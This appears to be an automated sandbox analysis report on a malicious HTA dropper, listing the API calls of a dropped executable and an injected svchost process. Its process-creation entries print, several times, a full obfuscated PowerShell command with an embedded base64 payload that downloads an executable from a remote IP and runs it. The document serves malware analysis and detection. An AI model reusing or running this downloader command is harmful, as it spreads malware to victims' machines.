            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72AF0 NtWriteFile,7_2_03B72AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72AD0 NtReadFile,7_2_03B72AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B739B0 NtGetContextThread,7_2_03B739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72FB0 NtResumeThread,7_2_03B72FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72FA0 NtQuerySection,7_2_03B72FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72F90 NtProtectVirtualMemory,7_2_03B72F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72FE0 NtCreateFile,7_2_03B72FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72F30 NtCreateSection,7_2_03B72F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72F60 NtCreateProcessEx,7_2_03B72F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72EA0 NtAdjustPrivilegesToken,7_2_03B72EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72E80 NtReadVirtualMemory,7_2_03B72E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72EE0 NtQueueApcThread,7_2_03B72EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72E30 NtWriteVirtualMemory,7_2_03B72E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72DB0 NtEnumerateKey,7_2_03B72DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72DD0 NtDelayExecution,7_2_03B72DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72D30 NtUnmapViewOfSection,7_2_03B72D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72D10 NtMapViewOfSection,7_2_03B72D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B73D10 NtOpenProcessToken,7_2_03B73D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72D00 NtSetInformationFile,7_2_03B72D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B73D70 NtOpenThread,7_2_03B73D70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72CA0 NtQueryInformationToken,7_2_03B72CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72CF0 NtOpenProcess,7_2_03B72CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72CC0 NtQueryVirtualMemory,7_2_03B72CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72C00 NtQueryInformationProcess,7_2_03B72C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72C70 NtFreeVirtualMemory,7_2_03B72C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B72C60 NtCreateKey,7_2_03B72C60
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,6_2_00B1A1EF
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B08310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,6_2_00B08310
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B151BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,6_2_00B151BD
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00ADD9756_2_00ADD975
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD21C56_2_00AD21C5
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AE62D26_2_00AE62D2
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B303DA6_2_00B303DA
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AE242E6_2_00AE242E
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD25FA6_2_00AD25FA
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00ABE6A06_2_00ABE6A0
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AC66E16_2_00AC66E1
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B0E6166_2_00B0E616
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AE878F6_2_00AE878F
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B188896_2_00B18889
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AC88086_2_00AC8808
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B308576_2_00B30857
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AE68446_2_00AE6844
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00ADCB216_2_00ADCB21
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AE6DB66_2_00AE6DB6
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AC6F9E6_2_00AC6F9E
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AC30306_2_00AC3030
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD31876_2_00AD3187
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00ADF1D96_2_00ADF1D9
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB12876_2_00AB1287
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD14846_2_00AD1484
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AC55206_2_00AC5520
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD76966_2_00AD7696
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AC57606_2_00AC5760
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD19786_2_00AD1978
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AE9AB56_2_00AE9AB5
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00ABFCE06_2_00ABFCE0
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00ADBDA66_2_00ADBDA6
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AD1D906_2_00AD1D90
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B37DDB6_2_00B37DDB
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AC3FE06_2_00AC3FE0
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00ABDF006_2_00ABDF00
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00F72F386_2_00F72F38
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004019957_2_00401995
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_0040E8497_2_0040E849
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004108237_2_00410823
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_0040E8A37_2_0040E8A3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004010AB7_2_004010AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004010B07_2_004010B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_0040E9E97_2_0040E9E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004012107_2_00401210
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00401A2C7_2_00401A2C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004032307_2_00403230
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00401A877_2_00401A87
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_0042F3337_2_0042F333
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00401C6D7_2_00401C6D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00401C707_2_00401C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00401DF07_2_00401DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004105FA7_2_004105FA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004026597_2_00402659
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004026607_2_00402660
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_004106037_2_00410603
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00416F0E7_2_00416F0E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_00416F137_2_00416F13
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B8739A7_2_03B8739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C003E67_2_03C003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4E3F07_2_03B4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF132D7_2_03BF132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFA3527_2_03BFA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2D34C7_2_03B2D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B452A07_2_03B452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B2C07_2_03B5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE02747_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4B1B07_2_03B4B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C001AA7_2_03C001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF81CC7_2_03BF81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BDA1187_2_03BDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C0B16B7_2_03C0B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B301007_2_03B30100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F1727_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B7516C7_2_03B7516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC81587_2_03BC8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF70E97_2_03BF70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFF0E07_2_03BFF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEF0CC7_2_03BEF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C07_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFF7B07_2_03BFF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3C7C07_2_03B3C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B407707_2_03B40770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B647507_2_03B64750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5C6E07_2_03B5C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF16CC7_2_03BF16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BDD5B07_2_03BDD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C005917_2_03C00591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B405357_2_03B40535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF75717_2_03BF7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEE4F67_2_03BEE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFF43F7_2_03BFF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B314607_2_03B31460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF24467_2_03BF2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5FB807_2_03B5FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB5BF07_2_03BB5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B7DBF97_2_03B7DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF6BD77_2_03BF6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFFB767_2_03BFFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFAB407_2_03BFAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BDDAAC7_2_03BDDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B85AA07_2_03B85AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3EA807_2_03B3EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEDAC67_2_03BEDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB3A6C7_2_03BB3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFFA497_2_03BFFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF7A467_2_03BF7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B429A07_2_03B429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C0A9A67_2_03C0A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B569627_2_03B56962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B499507_2_03B49950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B9507_2_03B5B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B268B87_2_03B268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6E8F07_2_03B6E8F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B438E07_2_03B438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAD8007_2_03BAD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B428407_2_03B42840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4A8407_2_03B4A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFFFB17_2_03BFFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41F927_2_03B41F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4CFE07_2_03B4CFE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B32FC87_2_03B32FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B60F307_2_03B60F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B82F287_2_03B82F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFFF097_2_03BFFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB4F407_2_03BB4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B49EB07_2_03B49EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B52E907_2_03B52E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFCE937_2_03BFCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFEEDB7_2_03BFEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFEE267_2_03BFEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40E597_2_03B40E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B58DBF7_2_03B58DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3ADE07_2_03B3ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5FDC07_2_03B5FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4AD007_2_03B4AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF7D737_2_03BF7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF1D5A7_2_03BF1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B43D407_2_03B43D40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0CB57_2_03BE0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B30CF27_2_03B30CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFFCF27_2_03BFFCF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB9C327_2_03BB9C32
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B40C007_2_03B40C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03B75130 appears 36 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03BBF290 appears 105 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03BAEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03B2B970 appears 268 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03B87E54 appears 91 times
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: String function: 00AD0AE3 appears 70 times
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: String function: 00AD8900 appears 42 times
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: String function: 00AB7DE1 appears 36 times
            Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
            Source: classification engineClassification label: mal100.phis.troj.expl.evad.winHTA@14/15@0/1
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1A06A GetLastError,FormatMessageW,6_2_00B1A06A
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B081CB AdjustTokenPrivileges,CloseHandle,6_2_00B081CB
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B087E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,6_2_00B087E1
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B1B3FB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,6_2_00B1B3FB
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B2EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,6_2_00B2EE0D
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00B283BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,6_2_00B283BB
            Source: C:\Users\user\AppData\Roaming\winnit.exeCode function: 6_2_00AB4E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,6_2_00AB4E89
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\win[1].exeJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4180:120:WilError_03
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjwt3tzc.v2e.ps1Jump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: seemejkiss.htaReversingLabs: Detection: 15%
            Source: unknownProcess created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\seemejkiss.hta"
            Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMTk2LzQwMC93aW4uZXhlIiwiJGVudjpBUFBEQVRBXHdpbm5pdC5leGUiLDAsMCk7U3RBcnQtc0xlRVAoMyk7SUkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2lubml0LmV4ZSI='+[Char]0X22+'))')))"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5zyziwbf\5zyziwbf.cmdline"
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3925.tmp" "c:\Users\user\AppData\Local\Temp\5zyziwbf\CSCADB73B4CC47C40A8804A92B1B0BD1E62.TMP"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\winnit.exe "C:\Users\user\AppData\Roaming\winnit.exe"
            Source: C:\Users\user\AppData\Roaming\winnit.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\AppData\Roaming\winnit.exe"
            Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOWErshEll -EX BYpasS -nOP -W 1 -c dEviCeCredENTIaLDeplOYmEnT ; iNvOke-ExPrEssioN($(inVOkE-EXPrESsiON('[SysTEm.tEXt.EncodinG]'+[CHAr]58+[ChAR]58+'UTf8.gEtSTRing([sYStEM.CoNVeRt]'+[CHAR]58+[Char]0x3a+'FRoMbasE64stRinG('+[chAr]0x22+'JG9ZdHRwUm5vICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdFlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUmRFZmluSXRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0NjYk9WYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZ2QktSVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBiTUNmTnR4cCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDcVBpZ1RIQkosSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCdFJmbmN1KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkhmVUhiZkVLRUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRXNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c0FNS05icCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG9ZdHRwUm5vOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3L